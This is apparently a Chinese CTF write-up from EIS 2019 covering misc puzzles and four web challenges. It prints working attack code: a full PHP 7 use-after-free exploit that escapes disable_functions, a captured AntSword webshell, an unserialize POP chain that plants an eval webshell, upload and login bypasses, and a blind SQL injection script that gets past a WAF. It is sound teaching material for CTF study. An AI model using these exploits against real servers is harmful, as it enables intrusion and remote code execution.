Toc
  1. MISC
    1. misc1
    2. misc2
    3. misc3
    4. webshell
  2. Web
    1. ezbypass
    2. ezupload
    3. ezpop
    4. ezwaf
Toc
0 results found
Rayi
EIS 2019 高校网络信息安全管理运维挑战赛WriteUp

每次比赛都能学到不少东西,这次也不例外

MISC

misc1

txt打开乱码

用winhex打开选择 EBCDIC 编码就好了

image-20191126170238859

image-20191126170248435

image-20191126170219157

misc2

Flask框架的题,最近遇到不少,该学学flask了

源码:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from flask import request
from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')


app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'


@app.route('/')
def index():
    return open(__file__).read()


@app.route("/r", methods=['POST'])
def r():
    data = request.form["data"]
    if os.path.exists(data):
        return open(data).read()
    return ''


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

可以进行任意文件读取,但是由脚本开始处可知flag被读取后源文件就删除了

但是, 在linux中每个被打开的文件都会在/proc/self/fd/目录中有记录,其中(/proc/self/fd/文件描述符号;这个文件是符号文件)的文件就是文件描述符所对应的文件。

平时我们在/proc/self/fd目录下使用ls时,只能看到0,1,2,255四个文件,但是当我们用ls自动补全功能(tab)时,能看到0,1,2,3,255五个文件。

image-20191126105936465

image-20191126105909869

自动补全功能是bash内置的一个功能,而ls是系统上的一个程序,以子进程的形式独立于bash运行。所以如果bash这个自动补全功能打开了我们要补全的路径(文件夹也是文件),那么应该会获得文件描述符3,ls也是一样。但是5736这个PID是bash的,所以我们用ls的时候看不到3而用bash的自动补全功能看得到。

image-20191126105921371

python flask框架搭起来的服务器也是一个独立的程序,在此程序内打开的文件都会被记录于/proc/self/fd/3中,所以我们可以直接读取/proc/self/fd/3获得被打开的flag

image-20191126105857942

/dev/fd/3相同作用

misc3

见了鬼了,只能从控制台查看到关键信息

下载到html,利用记事本等工具打开一切正常

image-20191126170914290

但是从控制台查看就有特殊信息

image-20191126170934916

观察发现只有两种字符,猜测是二进制转字符串

image-20191126171002178

webshell

审计流量,可以找到shell.php

image-20191126110428897

转换完后:

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    @session_start();
    $key='f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "0897d";
    echo @asenc($output);
    echo "60c97";
};
ob_start();
try{
    $p=base64_decode($_POST["0xc461e86196f1a"]);
    $s=base64_decode($_POST["0x9ec3fa98a283f"]);
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
    function fe($f){
        $d=explode(",",@ini_get("disable_functions"));
        if(empty($d)){
            $d=array();
        }
        else{
            $d=array_map('trim',array_map('strtolower',$d));
        }
        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
    };
    function runcmd($c){
        $ret=0;
        if(fe('system')){
            @system($c,$ret);
        }elseif(fe('passthru')){
            @passthru($c,$ret);
        }elseif(fe('shell_exec')){
            print(@shell_exec($c));
        }elseif(fe('exec')){
            @exec($c,$o,$ret);
            print(join("",$o));
        }elseif(fe('popen')){
            $fp=@popen($c,'r');
            while(!@feof($fp)){
                print(@fgets($fp, 2048));
            }
           @pclose($fp);
        }elseif(fe('antsystem')){
             @antsystem($c);
        }else{
            $ret = 127;
        }
        return $ret;
    };
    $ret=@runcmd($r." 2>&1");
    print ($ret!=0)?"ret={$ret}":"";
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

有个比较坑的地方,我以为这个地方输出的是固定的字符,然鹅它输出的却是随机的十个字符

image-20191126165204055

解密脚本:

<?php

$cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10";

function decrypt($cipher) {
    $key = 'f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};

$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);

Web

ezbypass

php7的一个绕过disablefunction的洞,有两个解法

第一个,把github上的exp传上去exp

<?php
    @pwn($_REQUEST['sdpc']);
    function pwn($cmd) {
        global $abc, $helper;
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
            if(!$data_addr || !$text_size || !$data_size)
                return false;
            return [$data_addr, $text_size, $data_size];
        }
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $text_size) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $text_size) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
                return $data_addr + $i * 8;
            }
        }
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
        class ryat {
            var $ryat;
            var $chtg;
            function __destruct()
            {
                $this->chtg = $this->ryat;
                $this->ryat = 1;
            }
        }
        class Helper {
            public $a, $b, $c, $d;
        }
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
        $n_alloc = 10; # increase this value if you get segfaults
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_repeat('A', 79);
        $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
        $out = unserialize($poc);
        gc_collect_cycles();
        $v = [];
        $v[0] = ptr2str(0, 79);
        unset($v);
        $abc = $out[2][0];
        $helper = new Helper;
        $helper->b = function ($x) { };
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
        # fake reference
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
        $closure_obj = str2ptr($abc, 0x20);
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
        ($helper->b)($cmd);
        exit();
    }
    ?>

第二个,传上个一句话,利用蚁剑的插件bypass

ezupload

题目返回的信息太坑了

源码泄露,存在.index.php.swp

源码:

<?php
#error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
    $sql = "select password from user where name=?";
    if ($stmt = $mysqli->prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
            $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        } 
        $stmt->close();
    }     
}else{   
    header("Location: /index.php");
}

$mysqli->close();

看到预编译就知道sql注入没戏了

但是,当$password = $_POST['password'];不存在时,$password即为null

同样,当sql语句查询不存在结果时,也返回null

所以,username随便写,把password删掉再post发包即可登陆

登录后是个上传界面,传个图片马上去,返回

array(1) { ["avatar"]=> array(5) { ["name"]=> string(35) "illust_60354621_20170730_211351.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpIkG6uP" ["error"]=> int(0) ["size"]=> int(1919322) } } upload success!

以为传到/tmp目录下了,谁知道用扫描器一扫有个/uploads,而且上传后的文件名都没变。。。

过滤了.php,但是还能用.php5

ezpop

代码审计

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

大体一看,B::set()可以写入文件,而且文件的文件名、路径和文件内容后半部分可控,但前半部分有个exit()函数。

exit()函数可以利用base64_decode以及php://filter可以绕过。
谈一谈php://filter的妙用

为了绕过exit,我们需要将前半部分补齐,使其被base64解码掉,去掉<?;>()这些无法被base64的字符,php//exit一共9个字符,我们需要再加3个,才能4个一组

我们只能将三个字符拼接在$data中,我们要写入的一句话木马也在$data中,从67-69行可知,$data经过了一些处理,而处理data用到的函数可以由options['serialize']控制,所以我们可以控制其为base64_decode,这样写入内容的绕过就解决了。

$data调用了A::getForStorage()赋值,其值可由A::complete控制

image-20191126200516095

为了调用能写文件的B类,我们需要用到A类中的save函数,我们只需要把A::store赋值为B类,且A::autosave==false就可以在第42行调用B::set()

再看看文件是怎么写的,文件名和路径由options['prefix']控制,可以使用伪协议写,文件的后缀名有如下关系

image-20191126200801638

EXP如下:

为了防止出错,我们还是把用不到的变量都赋下默认值吧。。

$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "base64_decode", 
                      'data_compress' => false,
                      'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/sdpc");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qwq'.base64_encode('<?php @eval($_POST["sdpc"]);?>'));

echo urlencode(serialize($a));

image-20191127085023507

ezwaf

源码:

 <?php
include "config.php";

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

function escape($arr)
{
    global $mysqli;
    $newarr = array();
    foreach($arr as $key=>$val)
    {
        if (!is_array($val))
        {
            $newarr[$key] = mysqli_real_escape_string($mysqli, $val);
        }
    }
    return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
    $name = $_GET['name'];
    mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
    $age = $_GET['age'];
    mysqli_query($mysqli, "select name from user where age=$age");
}

本来以为直接用age参数就能不用引号完成注入,但是?age=1 and sleep(5)会报403。。。

后来才知道,这个题需要用到HTTP请求走私

HTTP走私介绍见另一篇文章

先看看这个题,这个题age参数看似没有过滤,但实际上服务器挂有waf,在遇到sql注入语句会返回403

image-20191127172304049

由此可以尝试利用HTTP走私绕过waf,由于不知道走私的确切类型,可以一个一个尝试

首先是CL-CL类型的,前端代理服务器返回了400错误,但是后端服务器可以正常延时

image-20191127172616356

其他类型尝试均未成功,不知道是我方法错误还是其他原因

于是乎,就可以拿脚本跑出flag

import requests

flag = ''
url = 'http://111.186.57.61:10601/?age='
for j in range(0,36):
    for i in range(0,128):
        try:
           web = requests.get(url+'-1 or if((ascii(substr((select group_concat(flag_32122) from flag_xdd),{0},1))={1}),sleep(4),1)'.format(str(j),str(i)),headers={'Content-Length':''},timeout=2)
        except Exception as e:
            flag +=chr(i)
            print(flag)
            break
本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!